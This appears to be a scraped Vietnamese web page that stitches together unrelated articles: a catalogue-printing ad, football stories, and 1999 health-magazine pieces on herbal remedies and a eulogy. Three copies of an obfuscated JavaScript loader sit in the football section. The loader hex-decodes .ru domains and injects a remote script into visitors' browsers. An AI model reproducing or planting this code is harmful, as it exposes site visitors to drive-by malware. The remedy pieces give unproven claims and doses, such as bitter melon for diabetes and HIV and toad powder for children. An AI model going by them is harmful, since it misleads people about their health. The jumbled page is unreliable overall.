In catologue giá rẻ tphcm

Nhu cầu mua sắm ngày nay đang ngày một lớn mạnh. Điều đó được thể hiện ở hàng loạt các trung tâm mua sắm, các khu thương mại, các ứng dụng shopping online, các store, cửa hàng với sự đa dạng phong phú về nhiều chủng loại, nhiều mặt hàng mọc lên như “nấm sau mưa” . Điều đó chứng tỏ nhu cầu phục vụ cho cuộc sống ngày một đẳng cấp, sung túc, đủ đầy của con người ngày một tăng cao. Xã hội ngày càng phát triển mạnh mẽ hơn. Và hơn tất cả, những doanh nhân thành đạt, những nhà kinh doanh tài ba đang ngày càng phải nỗ lực hơn nữa để chứng tỏ và làm giàu cho chính bản thân mình.
Khi đi mua hàng giống như vào một quán cafe gọi đồ uống vậy, người ta cần có catologue như menu vậy. Catologue là bảng liệt kê danh mục sản phẩm, hình ảnh sản phẩm và giá thành sản phẩm theo từng tiêu chí nhất định để người tiêu dùng có thể thuận tiện hơn trong việc mua sắm. Thêm vào đó, những ưu đãi, khuyến mại lớn của cửa hàng hay công ty cũng được đưa vào catologue để khách hàng dễ nắm bắt thông tin và cũng là 1 chiêu thức câu khách của nhiều cửa hàng. 
Ở một thành phố lớn và phát triển mạnh mẽ về công nghiệp và dịch vụ như thành phố Hồ Chí Minh thì những cuốn catologue đã trở lên hết sức quen thuộc. Người mua hàng cần có, người bán hàng không thể thiếu, in catologue đã trở thành một dịch vụ “ăn khách”. Từ những cửa hàng nhỏ đến những thương hiệu lớn hay ngay cả những công ty, doanh nghiệp, tập đoàn cũng đều là khách hàng của dịch vụ này. Chính bởi vậy, in catologue  giá rẻ tphcm là một trong những dịch vụ dễ dàng tìm kiếm ở bất cứ đâu.
Dạo quanh quận 1, quận 5, quận Nình Thạnh, quận Thủ Đức,… ta dễ dàng bắt gặp các cửa hàng chuyên cung cấp các dịch vụ in ấn, nhận in catologue “từ A đến Z”. Chỉ cần với một chi phí bỏ ra ban đầu, ta sẽ nhận được chất lượng dịch vụ hết sức hấp dẫn. Đó là đội ngũ thiết kế chuyên nghiệp có kĩ năng và tay nghề cao cũng như kinh nghiệm lâu năm trong việc thiết kế catologue. Thứ hai đó là nguyên vật liệu cao cấp chất lượng ổn định. Giấy in, mực in, máy in và các máy móc cần thiết đều được đầu tư cẩn thận và có nguồn gốc xuất xứ rõ ràng.  Tiếp đến là thái độ phục vụ của nhân viên hết sức chu đáo tận tình, đảm bảo cho sự hài lòng của bạn về cuốn catologue. Và cuốn cùng là in catologue giá rẻ tphcm đem đến một mức giá phải chăng, phù hợp với túi tiền của nhiều người. In catologue giá rẻ tphcm đã đang và sẽ luôn là sự lựa chọn hàng đầu cho doanh nghiệp, cửa hàng
 

3 người trong 1 gia đình cùng làm trọng tài

Trận đấu cuối cùng vào ngày Trận đấu 3 của TFA Women’s League Stage 2 được dẫn dắt bởi Sione Lelenga và hai chị em của anh . Sione Lelenga là trọng tài trong khi Lataisia Kaumatule là trợ lý thứ nhất và Paita Lelenga là trợ lí thứ tư. "Đó là một khoảnh khắc tuyệt vời, khi chúng tôi được mời đến làm nhiệm vụ cuối cùng giữa Veitongo United và Navutoka. Lần đầu tiên trong lịch sử kể từ khi bắt đầu với trọng tài ", Lelenga nói.
Lataisia Kaumatule đã từng là một trợ lý của FIFA từ hơn 7 năm nay, và Paita Lelenga đã bắt đầu sự nghiệp của mình là Trọng tài FIFA từ năm 2015. "Tôi là một vận động viên khi lớn lên, và tôi cũng rất thích chơi bóng đá, tôi cũng từng ước mơ được mặc chiếc áo đá bóng. Khi tôi nhận ra chị Lataisia của tôi là một trọng tài bóng đá, tôi đã hỏi cô ấy nếu có thể hãy cho tôi tham gia. Cô ấy đã không cho tôi một vâng hoặc không, nhưng nụ cười trên khuôn mặt của cô mời tôi đến và thử ”.
” Nếu bạn làm điều gì đó với trái tim của bạn, bạn sẽ thành công, ” cha tôi khuyên! "Điều quan trọng đầu tiên là phải hy sinh và tuân theo". Lelenga nói: "Dù cha chúng tôi nói gì, chúng tôi đều lắng nghe và chúng tôi không làm gì cả. Tevita Vea, Trưởng Phòng Trọng tài, nói, "Tôi thực sự đánh giá cao cha mẹ của họ khi họ làm tất cả để hỗ trợ con cái của họ. Kể từ con gái của họ, Lataisia tuyển dụng trong năm 2008, người cha Inoke Lelenga luôn ở gần và bây giờ Paita và Sione đã được tuyển dụng cha vẫn còn phía sau của tất cả chúng. Tôi đã gặp họ nhiều lần tại Sân vận động Teufaiva, ông ấy đã đưa con cái đến đó và bắt họ chạy và tập luyện. ""Hai đứa em trai của Sione Lelenga cũng được tuyển dụng với trọng tài Futsal", Vea nói thêm.
Ông Inoke Tuífutuna Lelenga, cha của Sione Lelenga nói: "Ngợi khen Đức Chúa Trời, như ông đã nghe tôi cầu nguyện và cầu xin ở với gia đình nhỏ của tôi, và tôi tin Chúa đã trả lời cầu nguyện của tôi".
"Chúng tôi không giàu có, nhưng tôi vẫn có thể làm nhiệm vụ của mình như một người cha. Tôi đảm bảo rằng họ luyện tập thể dục thẩm mỹ theo cách của tôi. Khi hoàn thành, tôi cung cấp thức ăn tốt nhất mà tôi có thể mua được. Tôi ưu tiên cho nhu cầu của họ và cố gắng bù đắp nhưng khi tôi không thể, họ chỉ hài lòng "
Ông Inoke Tuífutuna Lelenga, hiện đã 55 tuổi, kết hôn với Fifita Lelenga và họ có tổng cộng 7 con.
Ông Lui Aho, Tổng Thư ký TFA nói, "Tôi rất vui mừng với Inoke T. Lelenga, vì đã là không. 1 người ủng hộ con cái của mình. Mỗi lần tôi nhìn thấy Inoke ở trường bóng đá, anh ấy chỉ theo dõi con mình để đảm bảo họ tham gia các khoá tập huấn hoặc các trò chơi. "Tôi tin rằng con cái của ông ý thức được sự hiện diện của ông và thúc giục họ nỗ lực hơn nữa để họ có thể đạt được mục đích của họ", Aho nói.
Bà Lataisia Kaumatule đã được bổ nhiệm làm 3 Cúp bóng đá Thế giới Phụ nữ FIFA từ năm 2007 tại Trung Quốc, hai Alrgave Cup, 2 Cúp Bóng đá nữ U20 của FIFA và một vài giải đấu vòng loại OFC. Cuộc hẹn Paita Lelenga lần đầu tiên vào năm 2015 cho Thế vận hội Thái Bình Dương ở PNG và một lần nữa là Cook Is dành cho vòng loại U15 của phụ nữ OFC vào năm ngoái.
Tham khảo:
http://www.baovesuckhoenguoithan.com/news/detail/thoi-khac-bong-da-tai-mi-duoc-thuong-mai-hoa-118.html/ window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801”,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();
window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801”,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();

Ba điều cần biết về Manchester United khi họ phải đối đầu với Man City

Trong tất cả những bất ổn của chuyến bay hàng đầu của Anh, Manchester City vẫn bình tĩnh và tập trung. Những cách mà họ đã phản ứng trước cuộc đấu tranh trong mùa giải này đã được ngưỡng mộ, nhưng đánh bại Manchester United tại Etihad có thể cung cấp cho Man City tăng đáng kể tinh thần trong trong trận đấu này. Và chắc chắn cầu thủ hai bên sẽ chơi hết mình với hơn 100 phần trăm năng lượng của mình.
Dưới đây là ba điều cần xem trong trận đấu này:
1 – Hướng chơi
The Blues sẽ tìm cách khám phá chế độ sở hữu đặc trưng của họ, buộc United phải bảo vệ theo cách truyền thống của José Mourinho đã cho họ thường xuyên áp dụng. Hy vọng rằng sự tiến bộ mà City đã đạt được về mặt phối hợp chiến thuật và tỷ lệ cầm bóng sẽ cho phép họ xâm nhập vào vòng cấm khung thành của United. Các cầu thủ áo Manchester United phòng ngự một cách rất chặt chẽ từ tuyến giữa và các cầu thủ hậu vệ họ uôn bọc lót cho nhau tạo nên những lớp phòng thủ khiến đối thủ khó có thể thực hiện những pha tấn công hoàn hảo
2 các cầu thủ của đội Quỷ đỏ
Manchester United đã tìm thấy một chút thành công trong suốt mùa giải này mặc dù chấn thương và thương hiệu của họ mặc dù nhiều việc xaye ra với họ không may mắn lắm. Trò chơi trí tuệ của Mourinho có thể có hiệu quả khi một số ngôi sao của Red Devil và những người mới thành lập tìm cách thiết lập tính hợp lệ của họ trong đội hình. Ngay cả khi không có Zlatan Ibrahimovic và Paul Pogba (do chấn thương), United đã chứng minh rằng có rất nhiều cầu thủ có thể biến một trận đấu và cho họ kết quả.
3 Quyết liệt, kiên cường của cầu thủ
City đã làm tốt khi chơi bóng đá cực kỳ tích cực bất chấp một số lượng lớn các cú sút bị lỡ, chệch hướng, và bị chặn. Bên cạnh xây dựng lối chơi về phòng thủ thì họ cũng có những đường phản công nhanh đầy sức mạnh, sự khéo léo uyển chuyển. Quyết liệt tuyệt đối để ngăn chặn các cuộc phản công cũng có thể khiến họ gặp phải khó khăn khi có những cầu thủ cốt lõi của đội chỉ vì những chiếc thẻ phạt mà không được ra sân trong những trận quan trọng. Sau một loạt các trận đấu có phong độ cao trong những tuần gần đây, đội bóng đã có một trận đấu bom tấn khác. Mỗi đội Manchester đã tiến bộ rất nhiều sau nhiều vòng đấu của mùa giải này, nhưng mọi thứ sẽ quyết định vào tối thứ năm khi họ chiến đấu cho một vị trí trong Champions League mùa tới.
Tham khảo:
http://www.traudoikienthuc.com/news/detail/chien-thang-tung-bung-cua-manchester-united-doi-voi-middlesbrough-113.html/

window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801”,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();

Suối Mỡ – một vùng dược liệu quý giá – Phần 1

Ngày trước khi con người còn chưa tàn phá, đuổi rừng lùi xa, thì ngay trước cửa đã rậm rì cây rừng, sát đầu hồi nhà, đêm còn nghe tiếng hoãng rừng tác. Có tới ba phần tư đất đai Nghĩa Phương (Bắc Giang) ngày trước là rừng rậm, với đủ thứ muôn thú như mèo rừng, hổ, gấu, lợn rừng, trăn… Các loại hươu nai, cầy cáo chưa tính. Chim thú nhiều như vậy nên ngày nay rừng chỗ nào cũng nát nhừ chân người mà quanh Suối Mỡ vẫn còn thú sót lại.
Có nhiều thú rừng, nên việc săn bắt ở Suối Mỡ cùng là chuyện đáng bàn. Người đi săn không đi đơn độc mà đi thành đoàn, càn hết rừng nọ đến rừng kia, có một chuyến mà từ Nghĩa Phương lặn lội đến tận tỉnh Tuyên Quang. Thợ săn chuyên môn thì chuyên đi săn đêm, là săn các loại thú 4 chân. Người săn ban ngày chỉ săn chim chóc hai chân là chính. Lại có người chuyên đi bắt trăn, rắn. Có người chỉ quen bắt tắc kè.
Tắc kè ở Nghĩa Phương không nổi động, nơi từng được mệnh danh là “thủ đô tắc kè” nhưng cũng không phải là hiếm. Tắc kè thường ở trong các hốc cây, khe đá. Nhất là những thân cây mục rỗng, tắc kè kéo nhau đến cả đàn, lục sục bên trong. Bắt tắc kè chỉ việc đi tìm ổ của nó. Gặp lúc tắc kè đang lang thang kiếm mồi. Rất khó chộp vì nó lủi rất nhanh. Cái khó là phải làm sao bắt được tắc kè còn nguyên vẹn. Vừa động đến, đuôi nó đã gẫy rồi. Tắc kè cụt đuôi mất hết giá trị làm thuốc, ngâm rượu. Rượu ngâm tắc kè, tên chữ là rượu cáp giới, uống vào vừa bổ vừa dãn gân cốt…
Chỉ tính riêng về mặt dược liệu, nối đồi Nghĩa Phương đã là một rừng cây thuốc. Sách Địa chí Hà Bắc mới được xuất bản gần đây, người ta thống kê được rừng Nghĩa Phương có đủ các thứ, ba kích, hoài sơn, bạch chỉ, hà thủ ô, cốt toái bổ…
Hoài sơn là tên ghi trong sách là thuốc, còn dân gian quen nôm na gọi là củ mài. Chẳng biết đứng trong các thang thuốc nam thuốc bắc, vị hoài sơn quý hóa bổ âm dương đến mức nào, người Nghĩa Phương ở đây trước tiên hãy xếp củ mài vào loại cây chuyên chữa bệnh… đói cái đã!
Người địa phương bảo củ mài chín là lúc dây củ mài bắt đầu xuống lá, đang xanh tốt lá héo khô quăn queo rồi rụng cả. Lúc này củ nào củ nấy mới nây nả chất tinh bột. Đào sớm quá, củ mài vừa nhỏ, vừa sậm sựt nhiều sơ chứ không bở tơi, tròn căng như lấy đúng độ. Ăn củ mài đã không sợ say như sắn, lại thơm ngọt, ăn một còn muốn ăn hai. Đơn giản thì cho củ mài vào luộc, sắp chín bỏ thêm nước lẫn cái cho đủ no thì sắt củ mài thành miếng mang bung nhừ ra làm cháo củ mài. Đào được nhiều quá không ăn hết thì thái mỏng phơi khô để dành ghế cơm ăn dần. Ngày nay, củ mài hiếm hơn, có thầy lang băm không kiếm được đã mua củ mỡ, củ từ giả làm vị thuốc hoài sơn, bốc bừa cho người ta bổ, chữa bệnh, ai hoang lắm mới dám mua củ mài về thổi xôi nấu chè.
Vũ Nguyễn – Sức khỏe & Đời sống/ Bộ Y tế – Hà Nội – số 18(831) – Năm 1999

Điếu văn của thủ tướng Phạm Văn Đồng – Phần 3

Đó là những thành tựu rất quý báu và đẹp đẽ trong biết bao thành tựu, bông hoa của chủ nghĩa xã hội ở miền Bắc mà nhân dân ta rất tự hào và nhiều bạn bè khắp nơi hết lòng khen ngợi.
Đồng chí Phạm Ngọc Thạch còn là một nhà khoa học quốc tế có quan hệ rộng rãi với các giới y học của các nước xã hội chủ nghĩa và nhiều nước khác;  và mấy năm lại đây với danh nghĩa chủ tịch ủy ban điều tra tội ác của đế quốc Mỹ ở Việt Nam, đồng chí đã làm hết sức mình để đẩy mạnh phong trào nhân dân thế giới chống tội ác chiến tranh của đế quốc Mỹ ở nước ta.
Năm nay 59 tuổi, đồng chí đang sung sức hơn lúc nào hết, ôm ấp những hoài bão lớn đối với sự nghiệp cách mạng của dân tộc cũng như đối với biết bao công việc cần làm nhằm xây dựng nền y học của dân tộc và phát triển nền ngành y tế của nhân dân, ngay trong chiến tranh và sau chiến tranh. Nhưng đồng chí đã hy sinh như biết bao chiến sĩ kiên cường của Đảng, biết bao con người ưu tú của dân tộc, biết bao người thân của chúng ta khắp hai miền, những người đã sống anh hùng, chết oanh liệt vì tổ quốc và chủ nghĩa xã hội, vì tương lai tươi sáng của dân tộc Việt Nam ta và vì sự nghiệp cách mạng của nhân dân thế giới.
Anh Phạm Ngọc Thạch thân yêu, anh hãy yên giấc ngàn thu với những giấc mơ tuyệt đẹp rồi đây sẽ là sự thật! Nhân dân ta sẽ nhất định đánh thắng quân thù, mặc dù chúng gian ác và xảo huyệt đến đâu; miền Nam thân yêu của anh, của tất cả chúng ta, sẽ được giải phóng, tổ quốc sẽ thống nhất; và nhân dân Việt Nam ta sẽ viết lên trang sử mới của chủ nghĩa anh hùng cách mạng trong xây dựng hòa bình; sự nghiệp y học và y tế của chúng ta sẽ có những bước phát triển nhanh chóng và độc đáo, đúng như ý nguyện của anh, tài năng của dân tộc ta và đường lối sáng suốt của Đảng.
Anh Phạm Ngọc Thạch thân yêu, kính chào anh!
P.V – Sức khỏe & Đời sống/ Bộ Y tế – Hà Nội – số 18(831) – Năm 1999

Chữa cam tích

Cam tích là một danh từ dân gian chỉ một loại bệnh thường gặp ở trẻ em suy dinh dưỡng. Tùy mức độ nặng nhẹ, bệnh được chia làm 3 loại: cam sơ, cam tích và cam còm. Bài này nói đến những trường hợp nhẹ cam sơ và cam tích.
Cam sơ: bệnh mới mắc, trẻ gầy yếu hơn so với trẻ thường, cân không tăng, mặt héo, ăn uống thất thường, đi ngoài khi khô khi lỏng.
Dùng một trong mấy bài thuốc sau:
Bài 1: ý dĩ 100g, trần bì 80g, hoài sơn 200g, hạt sen 200g, đinh lăng 80g, thanh đại 60g, cam thảo dây 100g, sử quân tử 120g, mạch nha 100g.
Cách làm và dùng: đem ý dĩ, trần bì, hoài sơn, hạt sen, sư quân tử sao vàng, xong hợp cả các vị tán thành bột, rây kỹ, dùng kẹo mạch nha làm viên, mỗi viên 2g. Cho trẻ uống mỗi lần 2-4 viên, ngày 3 lần.
Bài 2: Hoài sơn 15g, lộc giác xương 3g, ý dĩ 15g, thần khúc 2g, hạt me 6g, sư quân tử 4g, liên nhục 12g.
Cách làm và dung: đem các vị tán thành bột, làm thành viên, mỗi ngày cho trẻ uống 10 – 15g. Bài thuốc này có tác dụng kiện tùy, trừ giun, chữa trẻ em bị cam sơ, đau bụng giun, cơ thể suy nhược có tác dụng tốt.
Cam tích: trẻ gầy mòn rõ rệt, sắc mặt vàng úa, tóc thưa dễ rụng, tinh thần ủ rũ, ăn uống kém, đại tiện thất thường khi lỏng khi táo. Nặng hơn nữa bụng trẻ to. Đó là tỳ hư vị tích, hoặc có trẻ có nhiều giun. Ở giai đoạn này trẻ thường mắc các bệnh khác như còi xương, sởi, viêm phế quản…
Có thể dùng một trong những bài thuốc sau:
Bài 1: Củ đinh lăng lá nhỏ 20g, sử quân tử (sao vàng) 25g, nghệ xanh (sao vàng) 16g, mạch nha (sao) 40g, cũ gấu (sao kỹ) 20g, hạt sen 20g, bình lang 25g, nam bạch chỉ 20g, thanh đại 12g.
Cách dùng: các vị sao chế xong, tán nhỏ, rây bột mịn, mỗi lần uống 2 – 3g, ngày uống 3 lần. Nếu trẻ còn nhỏ khó uống nên hòa thuốc với nước đường loãng cho uống.
Bài 2: củ cói(sao) 40g, chuối tiêu chín (bỏ lõi ở giữa quả, phần có hạt nhỏ màu đen) 240g, bột thịt cóc 40g, củ sả 40g, mạch nha vừa đủ.
Cách làm và dùng: chọn thức cóc to, béo, chặt bỏ đầu, lột bỏ da, gan, mật, chân, trứng, chỉ lấy mình và đùi, sấy khô, tán nhỏ (chú ý làm thật cẩn thận, đề phòng ngộ độc).
Các vị khác đều sấy khô tán bột, trộn đều với bột cóc, viên với kẹo mạch nha, mỗi viên 12g. Cho trẻ uống mỗi lần 1 – 2 viên, ngày hai lần.
Vẫn là điện giật
Bạn Hoàng Thu Hà 20 tuổi ở khu tập thể Trương Định, là sinh viên đại học Đông Đô – Hà Nội, vừa được các bác sĩ bệnh viện Xanh Pôn cấp cứu thoát khỏi cơn hiểm nghèo. Nguyên do buổi trưa bạn để đài trên giường, nằm nghe và thiếp đi lúc nào không hay. Trong lúc mơ màng bạn quơ tay vào ổ cắm có dây điện hở. Thật may mắn có bạn Thắng đến chơi thấy đã kịp thời tắt cầu giao rồi đưa đi cấp cứu.
Nguyễn Hồng – Sức khỏe & Đời sống/ Bộ Y tế – Hà Nội – số 18(831) – Năm 1999

Mướp đắng

Mướp đắng còn gọi là khổ qua được trồng phổ biến ở Trung Quốc và nhiều nước Châu Á khác. Ở miền Bắc nước ta, mướp đắng thu hoạch vào tháng 6, tháng 7 dương lịch; còn miền Nam nước ta mướp đắng có quanh năm được bày bán ở khắp các chợ.
Nhân dân ta thường ăn mướp đắng khi quả còn xanh dưới dạng ruột nhồi thịt bằm rồi nấu chín.
Tại các quán bình dân ở Nam bộ, thường có món canh mướp đắng nhồi thịt bằm, vẫn để nguyên cả quả, bỏ ruột rồi nhồi thịt bằm vào ruột. 
Tại các nhà hàng sang trọng thì sau khi luộc chín, người ta thái thành khoang mỏng, có vỏ xanh bao ngoài, còn ở bên trong là nhân thịt.
Theo viện dinh dưỡng, trong 100g quả mướp đắng xanh (phần ăn được) có 0,9g protein, 3g gluxit, 110 microgam beta – caroten. Ngoài ra còn có lượng nhỏ vitamin B1, B2, C.
Một điều lý thú là khi quả mướp đắng chín vàng đỏ thì hàm lượng beta – caroten trong quả tăng lên chục lần. Chúng tôi đã xác định được trong 100g thịt vàng quả mướp đắng có 1.600 microgam beta – caroten và trong 100g lá tươi có 1.040 microgam beta – caroten.
Điều này góp phần lý giải việc nhân dân ta đã có kinh nghiệm lâu đời dùng quả mướp đắng chín vàng để ăn cho sáng mắt và dùng nước sắt quả mướp đắng để tắm cho trẻ em khỏi bị dị ứng da vào mùa hè.
Trong dân gian, hạt mướp đắng được làm thuốc tăng khí lực, cường dương, chữa viêm họng, trẻ em trốc đầu, dùng hoa mướp đắng để điều trị bệnh đau dạ dày, dùng lá mướp đắng để điều trị mụn nhọt, sưng đau và lá mướp đắng còn dùng để nấu canh có tác dụng chống mệt mỏi, lao động quá sức.
Quả mướp đắng ngoài giá trị thực phẩm còn có tác dụng làm sáng mắt, bổ thận, giảm mệt mỏi, giải nhiệt.
Những năm gần đây, ở Mỹ, Trung Quốc, Ấn Độ và nhiều nước khác đã xác định quả mướp đắng và cành non có tác dụng điều trị bệnh đái tháo đường. Cơ chế tác dụng của thuốc này làm cho cơ thể tăng cường sinh tổng hợp insulin – hormon điều trị bệnh đái tháo đường. Các sản phẩm này đã được chính thức sản xuất ở Mỹ, Trung Quốc, Ấn Độ…
Ở nước ta, viện dược liệu cũng đã nghiên cứu tác dụng điều trị bệnh đái tháo đường của quả mướp đắng.
Mỗi ngày ăn 5 đến 10 đầu ngọn cành non có lá của mướp đắng hay 20 – 30 quả mướp đắng tươi. Ăn liên tục trong vài tháng thì có thể giảm nhẹ bệnh đái tháo đường.
Trong mướp đắng có nhiều hoạt chất trong đó đáng chú ý là momorcharin. Chất này có tác dụng ức chế HIV 1 và đang được nhiều nước nhất là Thái Lan thử nghiệm để điều trị cho hàng ngàn người bị nhiễm HIV.
Ở nước ta đã sản xuất chè khổ qua để làm nước giải khát, giải nhiệt.
Tóm lại, Mướp đắng là một nguồn thực phẩm và dược phẩm có giá trị cao mà lại dễ tìm, dễ trồng. Đặc biệt quả mướp đắng chín vàng là một nguồn cung cấp beta – caroten – một chất chống oxy hóa, chống bệnh khô mắt đang được sử dụng rộng rãi trong y học hiện đại.
Phan Quốc Kinh – Sức khỏe & Đời sống/ Bộ Y tế – Hà Nội – số 18(831) – Năm 1999

Giúp bạn giảm mập

Trong dân gian có câu “thắt lưng càng dài cuộc sống càng ngắn”; thật vậy theo số liệu thống kê tỷ lệ tử vong của người mập thì cao gấp 2 tới 3 lần so với người có cơ thể bình thường. Những người này thường mắc các bệnh tăng huyết áp, tiểu đường, đau khớp, nhồi máu cơ tim, tắc nghẽn huyết quản não…
Đông y cho rằng bệnh mập thì phần lớn là “trong hư ngoài thực”, trong bề ngoài thì phương phi, da hồng hào nhưng bên trong lại hư; chủ yếu là khí hư dần dần dẫn tới khí dương suy hoặc khí âm suy. Bệnh có liên quan tới các tạng tỳ, thận, can, phế, tâm. Xin giới thiệu với bạn đọc một số bài thuốc thường dùng.
Bài 1: Dùng cho các trường họp mỡ ở bụng dưới quá nhiều (bụng phệ) thường xuyên táo bón, cơ thể ở trạng thái ngưng trệ (ngộ độc do phân tử ứ trệ ở trong ruột gây ra), nước tiểu vàng, hay đổ mồ hôi, dùng cho những người mới bị béo phì.
Thành phần: phòng phong 50g, kinh giới 25g, bạc hà 50g, ma hoàng 50g, đại hoàng 50g, chi tử 25g, cát cánh 100g, thạch cao 100g, xuyên khung 50g, đương quy 50g, bạch thược 50g, hoàng cầm 100g, liên kiều 50g, bạch truật 25g, cam thảo 200g.
Cách dùng: Tất cả các vị tán bột làm hoàn, ngày dùng 6g chia làm 2 lần.
Chú ý: người có thai không nên dùng. Trong bài này ma hoàng, phòng phong, kinh giới, bạc hà có tác dụng làm đổ mồ hôi; bạch truật có tác dụng lợi tiểu, trị độc thủy; hoàng kỳ, thạch cao, chi tử có tác dụng tiêu viêm giải độc, đương quy, thược dược, xuyên khung có tác dụng thúc đẩy sự tuần hoàn của máu.
Bài 2: Dùng cho những người có thể lực vạm vỡ, bụng to, mỡ dầy, ngực sườn luôn có cảm giác no căng đầy tức cơ bụng cứng, lưỡi khô, đốm lưỡi vàng, rêu lưỡi dày, mạch trầm nhưng có sức căng. Thường thấy ở ngoài trung niên và người già ăn nhiều đồ béo ngọt nhưng vận động ít. Do vậy tổn thương tới tỳ, vị.
